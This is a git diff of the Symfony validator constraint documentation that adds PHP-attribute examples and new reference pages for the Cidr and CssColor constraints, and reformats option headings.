+                        Assert\CardScheme::VISA,
                     ],
                     'message' => 'Your credit card number is invalid.',
                 ]));
@@ -99,8 +111,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Unsupported card type or invalid card number.``
 
@@ -121,8 +133,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-schemes
-~~~~~~~
+``schemes``
+~~~~~~~~~~~
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index fd8481d6152..ebf0efaaff7 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -7,17 +7,6 @@ an array of items is one of those valid choices.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `callback`_
-            - `choices`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `message`_
-            - `min`_
-            - `minMessage`_
-            - `multiple`_
-            - `multipleMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Choice`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ChoiceValidator`
 ==========  ===================================================================
@@ -58,6 +47,24 @@ If your valid choice list is simple, you can pass them in directly via the
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            const GENRES = ['fiction', 'non-fiction'];
+
+            #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])]
+            protected $city;
+
+            #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -160,6 +167,19 @@ constraint.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: 'getGenres')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -225,6 +245,20 @@ you can pass the class name and the method as an array.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use App\Entity\Genre
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: [Genre::class, 'getGenres'])]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -275,8 +309,8 @@ you can pass the class name and the method as an array.
 Available Options
 -----------------
 
-callback
-~~~~~~~~
+``callback``
+~~~~~~~~~~~~
 
 **type**: ``string|array|Closure``
 
@@ -284,8 +318,8 @@ This is a callback method that can be used instead of the `choices`_ option
 to return the choices array. See
 `Supplying the Choices with a Callback Function`_ for details on its usage.
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
@@ -295,8 +329,8 @@ will be matched against this array.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -305,8 +339,8 @@ to force no more than XX number of values to be selected. For example, if
 ``max`` is 3, but the input array contains 4 valid items, the validation
 will fail.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at most {{ limit }} choices.``
 
@@ -322,8 +356,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value you selected is not a valid choice.``
 
@@ -340,8 +374,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -350,8 +384,8 @@ to force at least XX number of values to be selected. For example, if
 ``min`` is 3, but the input array only contains 2 valid items, the validation
 will fail.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at least {{ limit }} choices.``
 
@@ -367,8 +401,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -377,8 +411,8 @@ of a single, scalar value. The constraint will check that each value of
 the input array can be found in the array of valid choices. If even one
 of the input values cannot be found, the validation will fail.
 
-multipleMessage
-~~~~~~~~~~~~~~~
+``multipleMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``One or more of the given values is invalid.``
 
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
new file mode 100644
index 00000000000..bb51a4826be
--- /dev/null
+++ b/reference/constraints/Cidr.rst
@@ -0,0 +1,150 @@
+Cidr
+====
+
+.. versionadded:: 5.4
+
+    The ``Cidr`` constraint was introduced in Symfony 5.4.
+
+Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation.
+By default, this will validate the CIDR's IP and netmask both for version 4 and 6,
+with the option of allowing only one type of IP version to be valid. It also supports
+a minimum and maximum range constraint in which the value of the netmask is valid.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cidr`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/NetworkSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class NetworkSettings
+        {
+            /**
+             * @Assert\Cidr
+             */
+            protected $cidrNotation;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/NetworkSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class NetworkSettings
+        {
+            #[Assert\Cidr]
+            protected $cidrNotation;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\NetworkSettings:
+            properties:
+                cidrNotation:
+                    - Cidr: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\NetworkSettings">
+                <property name="cidrNotation">
+                    <constraint name="Cidr"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/NetworkSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class NetworkSettings
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CIDR notation.``
+
+This message is shown if the string is not a valid CIDR notation.
+
+``netmaskMin``
+~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+It's a constraint for the lowest value a valid netmask may have.
+
+``netmaskMax``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
+
+It's a constraint for the biggest value a valid netmask may have.
+
+``netmaskRangeViolationMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.``
+
+This message is shown if the value of the CIDR's netmask is bigger than the
+``netmaskMax`` value or lower than the ``netmaskMin`` value.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ min }}``    The minimum value a CIDR netmask may have
+``{{ max }}``    The maximum value a CIDR netmask may have
+===============  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``version``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+This determines exactly *how* the CIDR notation is validated and can take one
+of these values:
+
+* ``4``: validates for CIDR notations that have an IPv4;
+* ``6``: validates for CIDR notations that have an IPv6;
+* ``all``: validates all CIDR formats.
+
+.. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 2f3dfd52035..b6b75ce09b5 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -18,13 +18,6 @@ and that extra keys are not present.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowExtraFields`_
-            - `allowMissingFields`_
-            - `extraFieldsMessage`_
-            - `fields`_
-            - `groups`_
-            - `missingFieldsMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Collection`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CollectionValidator`
 ==========  ===================================================================
@@ -289,6 +282,40 @@ However, if the ``personal_email`` field does not exist in the array,
 the ``NotBlank`` constraint will still be applied (since it is wrapped in
 ``Required``) and you will receive a constraint violation.
 
+When you define groups in nested constraints they are automatically added to
+the ``Collection`` constraint itself so it can be traversed for all nested
+groups. Take the following example::
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\NotBlank(['groups' => 'basic']),
+            'email' => new Assert\NotBlank(['groups' => 'contact']),
+        ],
+    ]);
+
+This will result in the following configuration::
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\Required([
+                'constraints' => new Assert\NotBlank(['groups' => 'basic']),
+                'groups' => ['basic', 'strict'],
+            ]),
+            'email' => new Assert\Required([
+                "constraints" => new Assert\NotBlank(['groups' => 'contact']),
+                'groups' => ['basic', 'strict'],
+            ]),
+        ],
+        'groups' => ['basic', 'strict'],
+    ]);
+
+The default ``allowMissingFields`` option requires the fields in all groups.
+So when validating in ``contact`` group, ``$name`` can be empty but the key is
+still required. If this is not the intended behavior, use the ``Optional``
+constraint explicitly instead of ``Required``.
+
 Options
 -------
 
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 6e0ab5db139..a3a2e335379 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -11,8 +11,6 @@ rules to use consistently across your application, by extending the constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Compound`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CompoundValidator`
 ==========  ===================================================================
@@ -21,29 +19,65 @@ Basic Usage
 -----------
 
 Suppose that you have different places where a user password must be validated,
-you can create your own named set or requirements to be reused consistently everywhere::
+you can create your own named set or requirements to be reused consistently everywhere:
 
-    // src/Validator/Constraints/PasswordRequirements.php
-    namespace App\Validator\Constraints;
+.. configuration-block::
+
+    .. code-block:: php-annotations
 
-    use Symfony\Component\Validator\Constraints\Compound;
-    use Symfony\Component\Validator\Constraints as Assert;
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
 
-    /**
-     * @Annotation
-     */
-    class PasswordRequirements extends Compound
-    {
-        protected function getConstraints(array $options): array
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Annotation
+         */
+        class PasswordRequirements extends Compound
         {
-            return [
-                new Assert\NotBlank(),
-                new Assert\Type('string'),
-                new Assert\Length(['min' => 12]),
-                new Assert\NotCompromisedPassword(),
-            ];
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
         }
-    }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
+
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[\Attribute]
+        class PasswordRequirements extends Compound
+        {
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
+        }
+
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes. If the constraint has
+configuration options, define them as public properties on the constraint class.
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
 
 You can now use it anywhere you need it:
 
@@ -51,25 +85,38 @@ You can now use it anywhere you need it:
 
     .. code-block:: php-annotations
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
 
-        class RegisterUser
+        class User
         {
             /**
-             * @AcmeAssert\PasswordRequirements()
+             * @Assert\PasswordRequirements()
              */
-            public $password;
+            public $plainPassword;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity\User;
+
+        use App\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\PasswordRequirements]
+            public $plainPassword;
         }
 
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\User\RegisterUser:
+        App\Entity\User:
             properties:
-                password:
+                plainPassword:
                     - App\Validator\Constraints\PasswordRequirements: ~
 
     .. code-block:: xml
@@ -80,8 +127,8 @@ You can now use it anywhere you need it:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\User\RegisterUser">
-                <property name="password">
+            <class name="App\Entity\User">
+                <property name="plainPassword">
                     <constraint name="App\Validator\Constraints\PasswordRequirements"/>
                 </property>
             </class>
@@ -89,17 +136,17 @@ You can now use it anywhere you need it:
 
     .. code-block:: php
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class RegisterUser
+        class User
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('password', new AcmeAssert\PasswordRequirements());
+                $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements());
             }
         }
 
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 4ce4691c6c9..d4e7e796acc 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -6,15 +6,6 @@ Countable) element count is *between* some minimum and maximum value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `divisibleBy`_
-            - `divisibleByMessage`_
-            - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Count`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountValidator`
 ==========  ===================================================================
@@ -47,6 +38,24 @@ you might add the following:
             protected $emails = [];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Count(
+                min: 1,
+                max: 5,
+                minMessage: 'You must specify at least one email',
+                maxMessage: 'You cannot specify more than {{ limit }} emails',
+            )]
+            protected $emails = [];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -103,8 +112,8 @@ you might add the following:
 Options
 -------
 
-divisibleBy
-~~~~~~~~~~~
+``divisibleBy``
+~~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: null
 
@@ -121,8 +130,8 @@ a certain number.
     are divisible by a certain number, use the
     :doc:`DivisibleBy </reference/constraints/DivisibleBy>` constraint.
 
-divisibleByMessage
-~~~~~~~~~~~~~~~~~~
+``divisibleByMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The number of elements in this collection should be a multiple of {{ compared_value }}.``
 
@@ -141,8 +150,8 @@ Parameter                 Description
 ``{{ compared_value }}``  The number configured in the ``divisibleBy`` option
 ========================  ===================================================
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain exactly {{ limit }} elements.``
 
@@ -160,8 +169,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -170,8 +179,8 @@ collection elements count is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or less.``
 
@@ -187,8 +196,8 @@ Parameter        Description
 ``{{ limit }}``  The upper limit
 ===============  ==============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -197,8 +206,8 @@ collection elements count is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or more.``
 
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 744de6dd0fb..60ed57b98d2 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -5,10 +5,6 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `alpha3`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Country`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator`
 ==========  ===================================================================
@@ -33,6 +29,19 @@ Basic Usage
             protected $country;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Country]
+            protected $country;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
new file mode 100644
index 00000000000..dc216c7422c
--- /dev/null
+++ b/reference/constraints/CssColor.rst
@@ -0,0 +1,310 @@
+CssColor
+========
+
+.. versionadded:: 5.4
+
+    The ``CssColor`` constraint was introduced in Symfony 5.4.
+
+Validates that a value is a valid CSS color. The underlying value is
+casted to a string before being validated.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\CssColor`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the ``$defaultColor`` value must be a CSS color
+defined in any of the valid CSS formats (e.g. ``red``, ``#369``,
+``hsla(0, 0%, 20%, 0.4)``); the ``$accentColor`` must be a CSS color defined in
+hexadecimal format; and ``$currentColor`` must be a CSS color defined as any of
+the named CSS colors:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            /**
+             * @Assert\CssColor
+             */
+            protected $defaultColor;
+
+            /**
+             * @Assert\CssColor(
+             *     formats = Assert\CssColor::HEX_LONG,
+             *     message = "The accent color must be a 6-character hexadecimal color."
+             * )
+             */
+            protected $accentColor;
+
+            /**
+             * @Assert\CssColor(
+             *     formats = {
+             *         Assert\CssColor::BASIC_NAMED_COLORS,
+             *         Assert\CssColor::EXTENDED_NAMED_COLORS
+             *     },
+             *     message = "The color '{{ value }}' is not a valid CSS color name."
+             * )
+             */
+            protected $currentColor;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            #[Assert\CssColor]
+            protected $defaultColor;
+
+            #[Assert\CssColor(
+                formats: Assert\CssColor::HEX_LONG,
+                message: 'The accent color must be a 6-character hexadecimal color.',
+            )]
+            protected $accentColor;
+
+            #[Assert\CssColor(
+                formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                message: 'The color '{{ value }}' is not a valid CSS color name.',
+            )]
+            protected $currentColor;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Bulb:
+            properties:
+                defaultColor:
+                    - CssColor: ~
+                accentColor:
+                    - CssColor:
+                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG
+                        message: The accent color must be a 6-character hexadecimal color.
+                currentColor:
+                    - CssColor:
+                        formats:
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::EXTENDED_NAMED_COLORS
+                        message: The color "{{ value }}" is not a valid CSS color name.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Bulb">
+                <property name="defaultColor">
+                    <constraint name="CssColor"/>
+                </property>
+                <property name="accentColor">
+                    <constraint name="CssColor">
+                        <option name="formats">hex_long</option>
+                        <option name="message">The accent color must be a 6-character hexadecimal color.</option>
+                    </constraint>
+                </property>
+                <property name="currentColor">
+                    <constraint name="CssColor">
+                        <option name="formats">
+                            <value>basic_named_colors</value>
+                            <value>extended_named_colors</value>
+                        </option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color name.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Bulb
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
+
+                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor([
+                    'formats' => Assert\CssColor::HEX_LONG,
+                    'message' => 'The accent color must be a 6-character hexadecimal color.',
+                ]));
+
+                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
+                    'formats' => [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                    'message' => 'The color "{{ value }}" is not a valid CSS color name.',
+                ]));
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CSS color.``
+
+This message is shown if the underlying data is not a valid CSS color.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+formats
+~~~~~~~
+
+**type**: ``string`` | ``array``
+
+By default, this constraint considers valid any of the many ways of defining
+CSS colors. Use the ``formats`` option to restrict which CSS formats are allowed.
+These are the available formats (which are also defined as PHP constants; e.g.
+``Assert\CssColor::HEX_LONG``):
+
+* ``hex_long``
+* ``hex_long_with_alpha``
+* ``hex_short``
+* ``hex_short_with_alpha``
+* ``basic_named_colors``
+* ``extended_named_colors``
+* ``system_colors``
+* ``keywords``
+* ``rgb``
+* ``rgba``
+* ``hsl``
+* ``hsla``
+
+hex_long
+........
+
+A regular expression. Allows all values which represent a CSS color of 6
+characters (in addition of the leading ``#``) and contained in ranges: ``0`` to
+``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#2F2F2F``, ``#2f2f2f``
+
+hex_long_with_alpha
+...................
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part of 8 characters (in addition of the leading ``#``) and contained in
+ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#2F2F2F80``, ``#2f2f2f80``
+
+hex_short
+.........
+
+A regular expression. Allows all values which represent a CSS color of strictly
+3 characters (in addition of the leading ``#``) and contained in ranges: ``0``
+to ``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#CCC``, ``#ccc``
+
+hex_short_with_alpha
+....................
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part of strictly 4 characters (in addition of the leading ``#``) and contained
+in ranges: ``0`` to ``9`` and ``A`` to ``F`` (case insensitive).
+
+Examples: ``#CCC8``, ``#ccc8``
+
+basic_named_colors
+..................
+
+Any of the valid color names defined in the `W3C list of basic named colors`_
+(case insensitive).
+
+Examples: ``black``, ``red``, ``green``
+
+extended_named_colors
+.....................
+
+Any of the valid color names defined in the `W3C list of extended named colors`_
+(case insensitive).
+
+Examples: ``aqua``, ``brown``, ``chocolate``
+
+system_colors
+.............
+
+Any of the valid color names defined in the `CSS WG list of system colors`_
+(case insensitive).
+
+Examples: ``LinkText``, ``VisitedText``, ``ActiveText``, ``ButtonFace``, ``ButtonText``
+
+keywords
+........
+
+Any of the valid keywords defined in the `CSS WG list of keywords`_ (case insensitive).
+
+Examples: ``transparent``, ``currentColor``
+
+rgb
+...
+
+A regular expression. Allows all values which represent a CSS color following
+the RGB notation, with or without space between values.
+
+Examples: ``rgb(255, 255, 255)``, ``rgb(255,255,255)``
+
+rgba
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the RGB notation, with or without space between values.
+
+Examples: ``rgba(255, 255, 255, 0.3)``, ``rgba(255,255,255,0.3)``
+
+hsl
+...
+
+A regular expression. Allows all values which represent a CSS color following
+the HSL notation, with or without space between values.
+
+Examples: ``hsl(0, 0%, 20%)``, ``hsl(0,0%,20%)``
+
+hsla
+....
+
+A regular expression. Allows all values which represent a CSS color with alpha
+part following the HSLA notation, with or without space between values.
+
+Examples: ``hsla(0, 0%, 20%, 0.4)``, ``hsla(0,0%,20%,0.4)``
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`W3C list of basic named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Basic_Colors
+.. _`W3C list of extended named colors`: https://www.w3.org/wiki/CSS/Properties/color/keywords#Extended_colors
+.. _`CSS WG list of system colors`: https://drafts.csswg.org/css-color/#css-system-colors
+.. _`CSS WG list of keywords`: https://drafts.csswg.org/css-color/#transparent-color
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index 651af1b1a92..d1cd5c4d17d 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -5,9 +5,6 @@ Validates that a value is a valid `3-letter ISO 4217`_ currency name.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Currency`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CurrencyValidator`
 ==========  ===================================================================
@@ -35,6 +32,19 @@ a valid currency, you could do the following:
             protected $currency;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Currency]
+            protected $currency;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 4b1e99c3ed1..999c06f939c 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``YYYY-MM-DD`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Date`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateValidator`
 ==========  ===================================================================
@@ -34,6 +31,19 @@ Basic Usage
             protected $birthday;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Date]
+            protected $birthday;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
